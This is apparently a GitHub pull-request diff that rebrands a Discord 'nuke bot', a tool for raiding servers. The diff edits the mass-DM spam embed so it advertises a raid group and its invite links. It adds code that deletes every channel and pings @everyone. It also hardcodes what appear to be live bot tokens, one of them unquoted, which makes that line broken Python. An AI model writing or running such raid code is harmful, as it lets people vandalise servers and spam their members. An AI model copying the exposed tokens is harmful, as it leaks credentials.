Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions config.py
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
prefix = 'prefix'
token = "bots token"
prefix = '$'
token = "MTMxMDEwOTIxODg2NjU5Mzc5Mg.G-PDDK.32nuIL5AHRCrdV6rfD0ryPjj1Xh2li0H1q8pfA"
65 changes: 51 additions & 14 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#Made by Social404
#Made by Misterfergie
from config import prefix
from config import token
import keep_alive
Expand Down Expand Up @@ -95,24 +95,23 @@ async def mall(ctx):
for member in list(client.get_all_members()):
await asyncio.sleep(0)
try:
embed = discord.Embed(title="This Is Why You Dont Wanna Give Random People Admin!", url="https://github.com/Social404/Advanced-Discord-Nuke-Bot", description="They Nuke Your Server With A Free Source Code (Click The Text Above For The Code)" , color=discord.Colour.purple())
embed = discord.Embed(title="Raided by @RaidingERLC", url="https://discord.gg/aeuh2Tuv0", description="@everyone" , color=discord.Colour.purple())
embed.add_field(
name="Discord Server",
value=
"[ [ Click here ] ](https://discord.gg/kE9vk9Zeuf)",
"[ [ Click here ] ](https://discord.gg/aeuh2Tuv)",
inline=False)
embed.add_field(
name="Youtube Channel",
name="free leaks",
value=
"[ [ Click here ] ](https://www.youtube.com/channel/UCXk0klxbjcVgGvYyKWLgtLg)",
"[ [ Click here ] ](https://discord.gg/aeuh2Tuv)",
inline=False)
embed.add_field(
name="GitHub",
value=
"[ [ Click here ] ](https://github.com/social404)",
"[ [ Click here ] ](https://discord.gg/aeuh2Tuv)",
inline=False)
embed.set_thumbnail(url="https://tenor.com/view/destory-eexplode-nuke-gif-6073338")
embed.set_footer(text="Nuked By Social404's Bot! Sorry About Your Loss")
embed.set_thumbnail(url="")
await member.send(embed=embed)
except:
pass
Expand All @@ -124,11 +123,7 @@ async def mall(ctx):
async def destroy(ctx):
await ctx.message.delete()
for member in list(client.get_all_members()):
await asyncio.sleep(0)
try:
embed = discord.Embed(title="This Is Why You Dont Wanna Give Random People Admin!", url="https://github.com/Social404/Advanced-Discord-Nuke-Bot", description="They Nuke Your Server With A Free Source Code (Click The Text Above For The Code)" , color=discord.Colour.purple())
embed.add_field(
name="Discord Server",

value=
"[ [ Click here ] ](https://discord.gg/kE9vk9Zeuf)",
inline=False)
Expand Down Expand Up @@ -211,5 +206,47 @@ async def info(ctx, member: discord.Member=None):
keep_alive.keep_alive()


client.run(token)
client.run(MTMxMDEwOTIxODg2NjU5Mzc5Mg.GRPbG8.MWNvBZNzJ47tbRM9I-MlKZSIaKqVIlV7dewv18)
# Place your Bot's token here
import discord
from discord.ext import commands

# Bot setup
intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.members = True
bot = commands.Bot(command_prefix="$", intents=intents)

@bot.event
async def on_ready():
print(f"Logged in as {bot.user}")

# Command to delete all channels and send a message
@bot.command()
@commands.has_permissions(administrator=True)
async def reset_channels(ctx):
guild = ctx.guild
confirmation_message = await ctx.send("Are you sure you want to reset all channels? Reply with `yes` to confirm.")

def check(msg):
return msg.author == ctx.author and msg.content.lower() == "yes"

try:
await bot.wait_for("message", check=check, timeout=30)
await confirmation_message.delete()

# Delete all channels
for channel in guild.channels:
await channel.delete()

# Recreate a general channel
general_channel = await guild.create_text_channel("general")
await general_channel.send("@everyone All channels have been reset.")
await ctx.send("All channels have been reset successfully!")
except TimeoutError:
await confirmation_message.delete()
await ctx.send("Channel reset canceled. You didn't reply in time.")

# Run the bot
bot.run("MTMxMDEwOTIxODg2NjU5Mzc5Mg.GRPbG8.MWNvBZNzJ47tbRM9I-MlKZSIaKqVIlV7dewv18")